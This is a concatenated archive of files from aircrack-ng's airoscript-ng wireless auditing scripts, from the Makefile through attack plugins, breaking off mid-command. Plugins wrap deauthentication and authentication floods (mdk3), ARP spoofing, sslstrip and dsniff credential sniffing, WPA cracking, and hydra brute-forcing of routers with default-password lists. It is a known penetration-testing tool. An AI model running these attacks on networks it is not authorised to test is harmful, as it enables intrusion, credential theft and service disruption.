rootroot#!/usr/bin/make # Configure prefix here: prefix=$(DESTDIR)/usr/local/ etcdir=$(DESTDIR)/usr/local/etc/ name="airoscript-ng" INSTALL = install -c INSTALLDATA = install -c -m 644 INSTALLBIN = install -c -m 755 data=$(prefix)/share bindir=$(prefix)/sbin/ picdir=$(data)/pixmaps/ appdir=$(data)/applications/ locale=$(data)/locale mandir=$(data)/man docdir=$(data)/doc/$(name) datadir=$(data)/$(name)/ srcdir=./src install: installdirs\ install-binary \ install-config \ install-docs \ install-locale \ install-desktop installdirs: @$(SHELL) ./.mkinstalldirs $(bindir) $(datadir) \ $(docdir)/html/images $(etcdir) \ $(docdir)/html/css \ $(mandir)/man1 $(locale) \ $(datadir)/themes $(picdir) $(appdir) \ $(datadir)/plugins \ $(datadir)/extras \ $(datadir)/templates install-config: @$(INSTALLDATA) $(srcdir)/conf/airoscript-ng.conf $(etcdir) @$(INSTALLDATA) $(srcdir)/conf/airoscript-ng_debug.conf $(etcdir) @$(INSTALLDATA) $(srcdir)/conf/airoscript-ng_advanced.conf $(etcdir) ifeq ($(package),yes) @$(INSTALLDATA) $(srcdir)/conf/airoscript-ng_packaged.conf $(etcdir) endif install-binary: @echo "Installing airoscript" @$(INSTALLBIN) $(srcdir)/airoscript-ng $(bindir)/$(name) @cp -r $(srcdir)/functions/* $(datadir) @echo "Installing themes" @cp -r $(srcdir)/templates/* $(datadir)/templates @$(INSTALLDATA) $(srcdir)/themes/*.theme $(datadir)/themes @echo "Installing plugins" @$(INSTALLDATA) $(srcdir)/plugins/* $(datadir)/plugins @echo "Installing extras" @cp -r $(srcdir)/extras/* $(datadir)/extras @cp -r $(srcdir)/extras/completions/* $(datadir)/extras/completions install-docs: @echo "Installing documentation" @echo "\t Installing standard documentation" @for i in doc/* ; do if [ -d $$i ] && [ $$i != "." ] && [ $$i != ".." ]; then make -s -C $$i docdir="$(docdir)" INSTALLDATA="$(INSTALLDATA)" ; else $(INSTALLDATA) $$i $(docdir) ;fi ; done @# This will install any manpage on manpages dir. (Just man1 manpages) @echo "\t Installing manpages" @for i in $(docdir)/*.1 ; do $(INSTALLDATA) $$i $(mandir)/man1/ ; done @echo "\t Installing artwork" @$(INSTALLDATA) $(srcdir)/goodies/airoscriptlogo.png $(docdir)/airoscript-ng.png install-desktop: @install $(srcdir)/goodies/airoscript-ng.desktop $(appdir)/ @install $(srcdir)/goodies/airoscript-ng_gtk.desktop $(appdir)/ @$(INSTALLDATA) src/goodies/airoscriptlogo.png $(picdir)/airoscript-ng.png @xdg-desktop-menu install $(appdir)/airoscript-ng.desktop @xdg-desktop-menu install $(appdir)/airoscript-ng_gtk.desktop generate-locale: @for i in $(srcdir)/locale/* ; do \ if [ -d $$i ] && [ $$i != "." ] && [ $$i != ".." ]; then \ make -s -C $$i &> /dev/null ; \ fi ; \ done install-locale: generate-locale @echo "Installing locales" @for i in $(srcdir)/locale/* ; do \ if [ -d $$i ] && [ $$i != "." ] && [ $$i != ".." ]; then \ make -s -C $$i install localedir="$(locale)" INSTALLDATA="$(INSTALLDATA)" ; \ fi ; \ done uninstall: @rm -f $(bindir)/$(name) @rm -f $(etcdir)/airoscript-ng*.conf @rm -rf $(datadir) @rm -rf $(docdir) @rm -f $(mandir)/man1/airoscript-ng.1 @rm -f $(picdir)/airoscript-ng.png $(picdir)/airoscript-ng.desktop $(picdir)/airoscript-ng_gtk.desktop @for i in $(docdir)/*.1 ; do rm -rf $(mandir)/man1/$$i ; done @for i in $(srcdir)/locale/* ; do \ if [ -d $$i ] && [ $$i != "." ] && [ $$i != ".." ]; then \ make -s -C $$i uninstall localedir=$(locale) ; \ fi ; \ done @echo "Uninstalled succesfully" all: install .PHONY: all install uninstall locale manpages aircrack-ng-1.2-beta3/scripts/airoscript-ng/.mkinstalldirs0000755000000000000000000000653711377243741022407 0ustar rootroot#! /bin/sh # mkinstalldirs --- make directory hierarchy scriptversion=2005-02-02.21 # Original author: Noah Friedman # Created: 1993-05-16 # Public domain. # # This file is maintained in Automake, please report # bugs to or send patches to # . errstatus=0 dirmode="" usage="\ Usage: mkinstalldirs [-h] [--help] [--version] [-m MODE] DIR ... Create each directory DIR (with mode MODE, if specified), including all leading file name components. Report bugs to ." # process command line arguments while test $# -gt 0 ; do case $1 in -h | --help | --h*) # -h for help echo "$usage" exit $? ;; -m) # -m PERM arg shift test $# -eq 0 && { echo "$usage" 1>&2; exit 1; } dirmode=$1 shift ;; --version) echo "$0 $scriptversion" exit $? ;; --) # stop option processing shift break ;; -*) # unknown option echo "$usage" 1>&2 exit 1 ;; *) # first non-opt arg break ;; esac done for file do if test -d "$file"; then shift else break fi done case $# in 0) exit 0 ;; esac # Solaris 8's mkdir -p isn't thread-safe. If you mkdir -p a/b and # mkdir -p a/c at the same time, both will detect that a is missing, # one will create a, then the other will try to create a and die with # a "File exists" error. This is a problem when calling mkinstalldirs # from a parallel make. We use --version in the probe to restrict # ourselves to GNU mkdir, which is thread-safe. case $dirmode in '') if mkdir -p --version . >/dev/null 2>&1 && test ! -d ./--version; then echo "mkdir -p -- $*" exec mkdir -p -- "$@" else # On NextStep and OpenStep, the `mkdir' command does not # recognize any option. It will interpret all options as # directories to create, and then abort because `.' already # exists. test -d ./-p && rmdir ./-p test -d ./--version && rmdir ./--version fi ;; *) if mkdir -m "$dirmode" -p --version . >/dev/null 2>&1 && test ! -d ./--version; then echo "mkdir -m $dirmode -p -- $*" exec mkdir -m "$dirmode" -p -- "$@" else # Clean up after NextStep and OpenStep mkdir. for d in ./-m ./-p ./--version "./$dirmode"; do test -d $d && rmdir $d done fi ;; esac for file do set fnord `echo ":$file" | sed -ne 's/^:\//#/;s/^://;s/\// /g;s/^#/\//;p'` shift pathcomp= for d do pathcomp="$pathcomp$d" case $pathcomp in -*) pathcomp=./$pathcomp ;; esac if test ! -d "$pathcomp"; then echo "mkdir $pathcomp" mkdir "$pathcomp" || lasterr=$? if test ! -d "$pathcomp"; then errstatus=$lasterr else if test ! -z "$dirmode"; then echo "chmod $dirmode $pathcomp" lasterr="" chmod "$dirmode" "$pathcomp" || lasterr=$? if test ! -z "$lasterr"; then errstatus=$lasterr fi fi fi fi pathcomp="$pathcomp/" done done exit $errstatus # Local Variables: # mode: shell-script # sh-indentation: 2 # eval: (add-hook 'write-file-hooks 'time-stamp) # time-stamp-start: "scriptversion=" # time-stamp-format: "%:y-%02m-%02d.%02H" # time-stamp-end: "$" # End: aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/0000755000000000000000000000000012316431270020265 5ustar rootrootaircrack-ng-1.2-beta3/scripts/airoscript-ng/src/extras/0000755000000000000000000000000012316431270021573 5ustar rootrootaircrack-ng-1.2-beta3/scripts/airoscript-ng/src/extras/completions/0000755000000000000000000000000012316431270024127 5ustar rootrootaircrack-ng-1.2-beta3/scripts/airoscript-ng/src/extras/completions/_aircrack_ng0000644000000000000000000000167212121370415026457 0ustar rootroot_aircrack-ng() { local current previous commands help_options previous=${COMP_WORDS[COMP_CWORD-1]} current="${COMP_WORDS[COMP_CWORD]}" commands="-w -l -C -q -p -b -e -a" wpa_commands="-E -J -S -r" wep_commands="$commands -c -t -h -d -m -n -i -f -k -x0 -x1 -x2 -y -K -s -M -D -P -1" all_commands="$wep_commands $wpa_commands" wpa_commands="$commands $wpa_commands" [[ $AIROSCRIPT_AP_ENC =~ (.*)WPA(.*) ]] && { COMPREPLY=( $(compgen -W "${wpa_commands}" -- ${current}) ) ; } || { [[ $AIROSCRIPT_AP_ENC =~ (.*)WEP(.*) ]] && { COMPREPLY=( $(compgen -W "${wep_commands}" -- ${current}) ) ; } || { COMPREPLY=( $(compgen -W "${all_commands}" -- ${current}) ) ; } } case "${previous}" in -e) COMPREPLY=(\$AIROSCRIPT_AP_NAME);; -b) COMPREPLY=(\$AIROSCRIPT_AP_MAC);; esac } complete -o default -o bashdefault -F _aircrack-ng aircrack-ng aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/extras/completions/_airodump_ng0000644000000000000000000000131612121370415026513 0ustar rootroot_airodump-ng() { local current previous commands help_options previous=${COMP_WORDS[COMP_CWORD-1]} current="${COMP_WORDS[COMP_CWORD]}" commands="--help --ivs --gpsd --write --beacons --showack --update --berlin --channel --band --cswitch --output-format --ignore-negative-one --encrypt --bssid --netmask" help_options="setup new search show reply tag dump restore search-terms" COMPREPLY=( $(compgen -W "${commands}" -- ${current}) ) ; case "${previous}" in --bssid) COMPREPLY=(\$AIROSCRIPT_AP_MAC) ;; --encrypt) COMPREPLY=(\$AIROSCRIPT_AP_ENC);; --channel) COMPREPLY=(\$AIROSCRIPT_AP_CHAN);; esac } complete -o default -o bashdefault -F _airodump-ng airodump-ng aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/plugins/0000755000000000000000000000000012316431270021746 5ustar rootrootaircrack-ng-1.2-beta3/scripts/airoscript-ng/src/plugins/wkhtmltopdf0000644000000000000000000000200711632057531024237 0ustar rootroot# Dict generators for airoscript # Depends on wkhtmltopdf # Copyright (C) 2009-2011 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. pdf_report(){ wkhtmltopdf $DUMP_PATH/$Host_MAC.report.html $DUMP_PATH/$Host_MAC.report.pdf ; } make_report(){ _make_report ; pdf_report ; } aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/plugins/iptables0000644000000000000000000000255611632057531023510 0ustar rootroot# Copyright (2011) David Francos Cuartero, and some of the sources might be from other versions. # This is highly unmantained, as now is a plugin, you can easily modify it =) # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # Along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. function enable_ip_forwarding(){ echo 1 > /proc/sys/net/ipv4/ip_forward } function enable_traffic_redirect(){ iptables_save > $DUMP_PATH/original_iptables iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-ports 8080 } function disable_traffic_redirect(){ iptables-restore < $DUMP_PATH/original_iptables } function disable_ip_forwarding(){ echo 0 > /proc/sys/net/ipv4/ip_forward } aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/plugins/tcpdstat0000644000000000000000000000232011656344132023522 0ustar rootroot# Dict generators for airoscript # Depends on digenpy_ # Copyright (C) 2009-2011 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. p_menu+=("Show tcpdstats report on cracked network"); Show_tcpdstats_report_on_cracked_network(){ _tcpdstat; less $DUMP_PATH/$Host_MAC.report_proto_stats } _tcpdstat(){ airdecap-ng -w `cat $DUMP_PATH/$Host_MAC.key` $DUMP_PATH/$Host_MAC-01.cap tcpdstat $DUMP_PATH/$Host_MAC-01-dec.cap &> $DUMP_PATH/$Host_MAC.report_proto_stats } aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/plugins/yad0000644000000000000000000000431512001611460022441 0ustar rootroot# Copyright (2011) Degenerated Labs # Copyright (2011) David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # Along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # This can also be used as skeleton for airoscript override-functions plugin. export mark=""; warn(){ notify-send -i "$path/../doc/airoscript-ng/airoscript-ng.png" "Airoscript notification" "${@}"; } yesno(){ zenity --question $@; } single_question(){ ans=`zenity --entry --text "${@}"`; } mkmenuheader(){ return; } mkmenuline(){ return; } mkmenueline(){ return; } mkmenu(){ title=$1; shift; declare -a res; args=("${@}"); for i in ${!args[@]}; do res+=( "$i" "${args[$i]}" ); done ; choice=$(yad --class="airoscript-ng" --window-icon="/usr/local/share/pixmaps/airoscript-ng.png" --separator=" " --list --width=450 --height=250 --title="$title" --text "Select an action:" --column=" " --column="n" --no-headers=1 "${res[@]}" --print-column=1;) [[ $? == 1 ]] && [[ $title == "Main Menu" ]] && exit } selectap_wrapper(){ choice=$(yad --class="airoscript-ng" --window-icon="/usr/local/cal/share/pixmaps/airoscript-ng.png" --separator=" " --list --width=450 --height=250 --title="$title" --text "Select an action:" --column "position" --column "MAC" --column "Channel" --column "Privacy" --column "POWER" --column "LENGHT" --column "ESSID" --hide-column=1 "${res[@]}" --print-column=1;) } launch_counter(){ ( for i in $( seq 1 $1 ); do a=$(( ($i * 100) / $1 )); sleep 1; echo "$a"; done ) | zenity --text "Scanning for targets" --progress --auto-close --title="Scanning for targets"; } aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/plugins/arpspoof0000644000000000000000000000232111617120331023514 0ustar rootroot# Copyright (2011) David Francos Cuartero, and some of the sources might be from other versions. # This is highly unmantained, as now is a plugin, you can easily modify it =) # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # Along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. p_menu+=("Enable arp spoof on dsniff usage"); Enable_arp_spoof_on_dsniff_usage(){ dsniff_helpers+=('arpspoof');} function arpspoof(){ execute "Arp spoofing 2" arpspoof -t $target_ip $target_router_ip execute "Arp spoofing 1" arpspoof -t $target_router_ip $target_ip } aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/plugins/pyrit0000644000000000000000000000213411730507716023050 0ustar rootrootCrack_password_with_pyrit_error() { warn "${mark}You cannot crack this network. Packages not collected"; } p_menu+=("Crack password with pyrit") pyrit_attacks=(attack_batch attack_cowpatty attack_db attack_passthrough batch benchmark create_essid delete_essid eval export_passwords export_cowpatty export_hashdb import_passwords import_unique_passwords list_cores list_essids passthrough relay selftest serve strip stripLive verify ) Crack_password_with_pyrit(){ [[ ! -e $DUMP_PATH/$Host_MAC-01.cap ]] && Crack_password_with_pyrit_error || { read -i "$default_pyrit_dictionary" -p "Enter dictionary " pyrit_dictionary pyrit_opts="-b \"$Host_MAC\" -e \"$Host_SSID\" -i \"$pyrit_dictionary\" -o \"$DUMP_PATH/$Host_MAC.pyrit_key\" -r \"$DUMP_PATH/$Host_MAC-01.cap\" " mkmenu "Select pyrit attack" ${pyrit_attacks[@]} read -i "$custom_opts" "Add any custom pyrit opt you want (e.j, remote servers, relay stuffs...): " custom_opts execute "pyrit attack" pyrit $pyrit_opts ${pyrit_attacks[$choice - 1]} && cp $DUMP_PATH/$Host_MAC.pyrit_key $DUMP_PATH/$Host_MAC.key } } aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/plugins/zenity0000644000000000000000000000413312021445441023212 0ustar rootroot# Copyright (2011) Degenerated Labs # Copyright (2011) David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # Along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # This can also be used as skeleton for airoscript override-functions plugin. export mark=""; export autoset=1 interfaces+=("zenity"); _source $path/plugins/xterm; warn(){ notify-send -i "$path/../doc/airoscript-ng/airoscript-ng.png" "Airoscript notification" "${@}"; } yesno(){ zenity --question $@; } single_question(){ ans=`zenity --entry --text "${@}"`; } mkmenuheader(){ return; } mkmenuline(){ return; } mkmenueline(){ return; } mkmenu(){ title=$1; shift;res=();n=0; for i in "${@}"; do n=$(( n + 1 )); [[ "$n" == 1 ]] && ST="TRUE" || ST="FALSE"; res+=( "$ST" "$n" "$i" ); done choice=`zenity --list --text "$title" --width=350 --height=400 --radiolist --column "Pick " --column "hidden" --column "Choose" --hide-column 2 "${res[@]}";` [[ $? == 1 ]] && [[ $title == "Main Menu" ]] && exit } selectap_wrapper(){ choice=`zenity --list --text "$title" --width=300 --height=500 --radiolist --column "X" --column "hidden" --column "MAC" --column "Channel" --column "Privacy" --column "POWER" --column "LENGHT" --column "ESSID" --hide-column 2 "${res[@]}"`; } launch_counter(){ ( for i in $( seq 1 $1 ); do a=$(( ($i * 100) / $1 )); sleep 1; echo "$a"; done ) | zenity --text "Scanning for targets" --progress --auto-close --title="Scanning for targets"; } aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/plugins/mdk30000644000000000000000000000416512001611460022525 0ustar rootroot# Copyright (2011) David Francos Cuartero, and some of the sources might be from other versions. # This is highly unmantained, as now is a plugin, you can easily modify it =) # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # Along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # This can also be used as a menu-adding skeleton for airoscript plugin system # Just add to p_menu array the menu you want, and call the main plugin function MENU_NAME_SEPARATED_BY_SPACES MDK3=mdk3 p_menu+=( "Mdk3 Attacks" ); Mdk3_Attacks(){ if [ $( whereis mdk3) ]; then while true; do $clear; mkmenu "Choose MDK3 Options" "Deauthentication"\ "Prob selected AP" "Select another target"\ "Autentication DoS" "Return to main menu" read yn case $yn in 1 ) mdkpain ; break ;; 2 ) mdktargetedpain ; break ;; 3 ) mdknewtarget ; break ;; 4 ) mdkauth ; break ;; 5 ) break ;; * ) echo $"Unknown response. Try again" ;; esac done else warn "Sorry, this is not installed on your system" fi } mdkpain(){ execute "MDK3 Pain" $MDK3 $wifi d & choosemdk } mdktargetedpain(){ execute "MDK3 Targeted pain" $MDK3 $wifi p -b a -c $Host_CHAN -t\ $Host_MAC & choosemdk } mdknewtarget(){ selectAp choosemdk } mdkauth(){ execute "MDK3 AUTH" $MDK3 $wifi a & choosemdk } aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/plugins/sslstrip0000644000000000000000000000215711617120331023555 0ustar rootroot# Copyright (2011) David Francos Cuartero, and some of the sources might be from other versions. # This is highly unmantained, as now is a plugin, you can easily modify it =) # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # Along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. p_menu+=("Enable sslstrip on dsniff usage"); Enable_sslstrip_on_dsniff_usage(){ dsniff_helpers+="sslstrip"; } sslstrip(){ execute "SSlstripping" sslstrip -a -k -f -l 8080 & } aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/plugins/hydra_logins0000644000000000000000000000141011633536361024357 0ustar rootrootabd234 Access address admin Admin ADMIN administrator Administrator amber any Any apc apcuser ARN AWARD_SW bill blank change_on_install correct db2admin debug demos, device Docsis eagle GatorSurf guest Guest hardware hci hdms hello HELLO ibm Internet IRIX j11-16 janta least letmein Linux lp LR-ISDN lucy99 M10 M250L Mail manager Manager MANAGER Managment mara Master masterkey me MGR Modem module monitor ncadmin NetCache netman None notes operator OPERATOR oracle OS OS/2 password pixadmin pkoolt Point PR Pro public qpgmr qsecofr QSECOFR QSRV QSRVBAS qsysopr QUSER readwrite root router Routers rsadmin security Serial setup/snmp siteadmin Speed Standalone start superuser surt switch Switch switches sysadm system tech tr650 trade user User Windows Wireless wradmin zynos aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/plugins/tmux0000644000000000000000000000402612272273653022702 0ustar rootroot#DEPENDS: tmux export TERMINAL=tmux interfaces+=("tmux"); export attack_notification="Attack launched, see 'Current attack' window" time_=0; execute(){ title=$1; shift; if [ "$ADDOPTIONS" != "" ]; then printf -- "Executing $@" echo read -p $"Enter extra options to execute: " eopts fi [[ $1 == "crack" ]] && { AUTO=0; QUIET=""; shift; mode=crack; } if [ "$QUIET" != "" ] || [ "$AUTO" == "1" ]; then [[ $NOTITLE ]] || warn "${mark}$title" ${@} $eopts &> /dev/null & else args="${@}"; args="${args/% /} ${eopts}" # Failsafe, this way if there's a trailing space it'll remove it before executing. [[ $wait_for_execute == 1 ]] && mode=crack; [[ $mode == "crack" ]] && { ${args}; read -p 'Press any key to continue'; mode=""; return; } [[ $title == "Help" ]] && { tmux split-window -t airoscript -h -p30 "$args" tmux select-pane -L return } [[ $time_ == 0 ]] && { tmux neww -t airoscript -n "Current attack" "$args"; tmux select-window -t Main; return } [[ $time_ == 1 ]] && { tmux splitw -v -t "Current attack" "$args"; tmux select-window -t Main; return } [[ $time_ == 2 ]] && { tmux splitw -h -t "Current attack" "$args"; tmux select-window -t Main; return } tmux splitw -h -t "Current attack" "$args"; tmux select-window -t Main; fi } export dont_check_x=1 [[ -e ~/.airoscript_tmux ]] || { tmux new -s airoscript -n "Main" -d "airoscript-ng $main_args" && tmux bind -n S-left prev tmux bind -n S-right next tmux set mouse-select-pane on tmux set mouse-select-window on pid=$$ echo $pid >> ~/.airoscript_tmux tmux at -t airoscript rm ~/.airoscript_tmux exit } && { rm ~/.airoscript_tmux } aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/plugins/johntheripper0000644000000000000000000000377511617120331024562 0ustar rootroot# Copyright (2011) David Francos Cuartero, and some of the sources might be from other versions. # This is highly unmantained, as now is a plugin, you can easily modify it =) # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # Along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. check_function selectcracking || source $path/crack/main # It depends on injection module ;) p_menu+=("Crack with john the ripper"); Crack_with_john_the_ripper(){ declare -a opts jopts rules words [[ -e $WORDLIST ]] && wl="-w=$WORDLIST" mkmenu "John the ripper options" "Use autoincremental" "Use dictionary with custom rule" "Return to main menu" c=$choice; case $c in 1) opts=( "All" "Alnum" "Alpha" "Digits" "LanMan" "Return" ) [[ $choice == ${#opts} ]] && break; mkmenu "Choose incremental type" ${opts[@]} jopts+=" -incremental=${opts[$choice - 1]} " ;; 2) command grep '\[List.Rules' ~/.john/john.conf|tr -d '[]' |\ sed 's/List.Rules://g'|grep -v "#"|\ tr '\n' ' ' > $DUMP_PATH/parsed_john_config _rules=( `cat $DUMP_PATH/parsed_john_config` ); mkmenu "Rules" ${_rules[@]}; rules+="$wl -ru=${_rules[$choice - 1]} " ;; 3) break ;; esac export pipe="john ${words[@]} ${rules[@]} ${jopts[@]} -stdout |"; echo $pipe selectcracking; } aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/plugins/mouse_support0000644000000000000000000000152312020454406024614 0ustar rootrootis_number(){ [[ $1 =~ ^[0-9]+$ ]] } function get_mouse_position(){ _STTY=$(stty -g) echo -en "\e[?1000h"; read -n12 x &>/dev/null ; echo -en "\r \r"; echo -en "\e[?1000l" is_number $x && { echo $x; choice=$x; return; } stty "$_STTY" m1=${x#???} m2=${x#????} m3=${x#?????} eval "$(printf "mb=%d mx=%d my=%d" "'$m1" "'$m2" "'$m3")" [ $mx -lt 0 ] && mx=$(( 255 + $mx )) [ $my -lt 0 ] && my=$(( 255 + $my )) BUTTON=$(( ($mb & 3) + 1 )) MOUSEX=$(( $mx - 32 )) MOUSEY=$(( $my - 32 )) choice=$(($MOUSEY - $Y_OFFSET)) ans=$choice; echo $choice; } mkmenuheader(){ $clear; stty -echo; echo -n $'\e[6n'; read -d R x; stty echo; a=$(( $(echo ${x#??} |cut -d\; -f1) + 1 )) Y_OFFSET=$a; echo -en "\033[$(($2 / 2 - (${#1} / 2 - 10) ))C$1\n"; } _read(){ get_mouse_position } special_single_question(){ get_mouse_position } aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/plugins/dsniff0000644000000000000000000000474011617120331023143 0ustar rootroot# Copyright (2011) David Francos Cuartero, and some of the sources might be from other versions. # This is highly unmantained, as now is a plugin, you can easily modify it =) # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # Along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. # Use this ON YOUR OWN NETWORKS, UNDER YOUR OWN RESPONSABILITY. # THIS IS A CRUDE ATTACK, YOU'RE PROBABLY GOING TO GET CAUGHT IF YOU MISUSE IT. p_menu+=("Sniff connections with dsniff") check_function enable_forwarding || source $path/plugins/forwarding check_function arpspoof || source $path/plugins/arpspoof check_function airtunmenu || source $path/attacks/others execute_dsniff(){ execute "Sniffing virtual interface" dsniff -i at0 -w /tmp/dsniff.keys execute "Current passwords" tail -f /tmp/dsniff.keys } get_ip(){ dhclient at0 && { target_router_ip=$(ip route list dev at0 |awk '/default/ { print $3}' ); target_ip=$(ip route list dev at0| awk '/src/ {print $7}' ) } || { single_question "Cant configure network, enter 'Victim_ip,router_ip' "; target_ip=$(cut -d, -f1 <<< $ans) target_router_ip=$(cut -d, -f1 <<< $ans) } } Sniff_connections_with_dsniff(){ warn "$mark Enabling ip forwarding "; enable_forwarding warn "$mark Enabling port redirect "; enable_traffic_redirect warn "$mark Getting network ip address"; get_ip warn "$mark Killing airtun to remove possible old at interfaces" clean_airtun warn "$mark Launching airtun to create at0"; airtunmenu warn "$mark Launching helpers defined in other plugins"; for i in "${dsniff_helpers[@]}"; do $i; done warn "$mark Starting dsniff" execute_dsniff warn "$mark Press enter to stop the attack"; read disable_ip_forwarding; disable_traffic_redirect; killall dsniff ${dsniff_helpsers[@]}; clean_airtun } aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/plugins/hydra_passwords0000644000000000000000000000114011633536361025111 0ustar rootrootadmin Admin **ADMIN administrator all All ALL ami answer any Any apc attack Babylon bill bintec cablemodem calvin (cannot CAROLIAN CCC changeme cmaker COGNOS Database debug default default.password eagle eqadmin ESSEX FIELD.SUPPORT Firewall friend Gandoo guest, HPOFFICE inuvik49 LAN letmein Local look lucenttech1 manager Manager MANAGER.SYS Menu MGR.SYS monitor ncadmin NetICs netman netscreen NetSeq none notes NT Num ods of operator pass password Password Point RedHat Release releases root Routers Scott security setup/nopasswd Sparc sql surecom sys sysadmin system System user User Windows write xyzzy aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/plugins/hydra0000644000000000000000000000314411633561317023011 0ustar rootroot# Dict generators for airoscript # Depends on digenpy_ # Copyright (C) 2009-2011 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. p_menu+=("Crack default router passwords"); hydra_(){ router_ip=$(ip route list dev $wificard |awk '/default/ { print $3}' ); cp $path/plugins/hydra_logins $DUMP_PATH/default_router_logins; cp $path/plugins/hydra_passwords $DUMP_PATH/default_router_passwords; hydra -L $DUMP_PATH/default_router_logins -P $DUMP_PATH/default_router_passwords -o $DUMP_PATH/router.key $router_ip http-get || { hydra -L $DUMP_PATH/default_router_logins -P 